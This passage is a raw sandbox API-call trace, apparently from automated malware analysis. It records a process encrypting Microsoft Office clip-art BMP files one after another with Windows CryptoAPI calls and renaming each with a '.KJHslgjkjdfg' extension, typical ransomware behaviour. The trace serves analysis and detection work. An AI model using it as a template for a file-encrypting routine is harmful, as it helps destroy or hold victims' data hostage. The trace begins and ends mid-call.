SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.389] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.392] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.392] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.392] GetProcessHeap () returned 0x990000 [0192.392] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.392] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.392] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.392] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.392] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.392] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.392] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.392] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.392] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.392] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.392] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.393] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.393] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7db8, lpOverlapped=0x0) returned 1 [0192.394] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7dc0) returned 1 [0192.394] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.394] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7dc0, lpOverlapped=0x0) returned 1 [0192.395] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.395] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.395] SetEndOfFile (hFile=0x130) returned 1 [0192.398] GetProcessHeap () returned 0x990000 [0192.398] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.398] GetProcessHeap () returned 0x990000 [0192.398] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.398] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp.kjhslgjkjdfg")) returned 1 [0192.400] CloseHandle (hObject=0x130) returned 1 [0192.400] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1e56200, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1e56200, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0101863.BMP", cAlternateFileName="")) returned 1 [0192.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.401] GetProcessHeap () returned 0x990000 [0192.401] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.401] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.401] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.401] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.404] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.404] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.404] GetProcessHeap () returned 0x990000 [0192.404] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.404] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.404] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.404] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.404] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.404] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.404] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.405] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.405] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.405] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.405] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.405] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.405] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7db8, lpOverlapped=0x0) returned 1 [0192.406] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7dc0) returned 1 [0192.407] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.407] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7dc0, lpOverlapped=0x0) returned 1 [0192.407] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.407] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.407] SetEndOfFile (hFile=0x130) returned 1 [0192.410] GetProcessHeap () returned 0x990000 [0192.410] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.410] GetProcessHeap () returned 0x990000 [0192.410] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.410] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp.kjhslgjkjdfg")) returned 1 [0192.412] CloseHandle (hObject=0x130) returned 1 [0192.412] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc447bc00, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc447bc00, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0101864.BMP", cAlternateFileName="")) returned 1 [0192.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.412] GetProcessHeap () returned 0x990000 [0192.412] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.413] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.413] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.413] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.413] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.413] GetProcessHeap () returned 0x990000 [0192.413] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.413] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.413] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.413] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.418] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.418] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.418] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.418] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.418] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.418] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.418] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.418] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.418] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7ce0, lpOverlapped=0x0) returned 1 [0192.419] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7ce0) returned 1 [0192.420] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.420] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7ce0, lpOverlapped=0x0) returned 1 [0192.420] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.420] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.420] SetEndOfFile (hFile=0x130) returned 1 [0192.423] GetProcessHeap () returned 0x990000 [0192.423] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.423] GetProcessHeap () returned 0x990000 [0192.423] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.423] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp.kjhslgjkjdfg")) returned 1 [0192.425] CloseHandle (hObject=0x130) returned 1 [0192.425] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb98d2700, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb98d2700, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0101865.BMP", cAlternateFileName="")) returned 1 [0192.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.426] GetProcessHeap () returned 0x990000 [0192.426] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.426] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.426] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.426] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.428] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.428] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.428] GetProcessHeap () returned 0x990000 [0192.428] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.428] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.428] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.428] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.428] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.428] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.429] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.429] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.429] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.429] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.429] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.429] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.429] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7db8, lpOverlapped=0x0) returned 1 [0192.430] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7dc0) returned 1 [0192.431] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.431] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7dc0, lpOverlapped=0x0) returned 1 [0192.431] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.431] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.431] SetEndOfFile (hFile=0x130) returned 1 [0192.434] GetProcessHeap () returned 0x990000 [0192.434] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.434] GetProcessHeap () returned 0x990000 [0192.434] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.434] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp.kjhslgjkjdfg")) returned 1 [0192.436] CloseHandle (hObject=0x130) returned 1 [0192.436] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbabe5400, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbabe5400, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0101866.BMP", cAlternateFileName="")) returned 1 [0192.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.436] GetProcessHeap () returned 0x990000 [0192.437] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.437] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.437] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.437] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.438] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.439] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.439] GetProcessHeap () returned 0x990000 [0192.439] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.439] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.439] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.439] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.439] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.439] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: 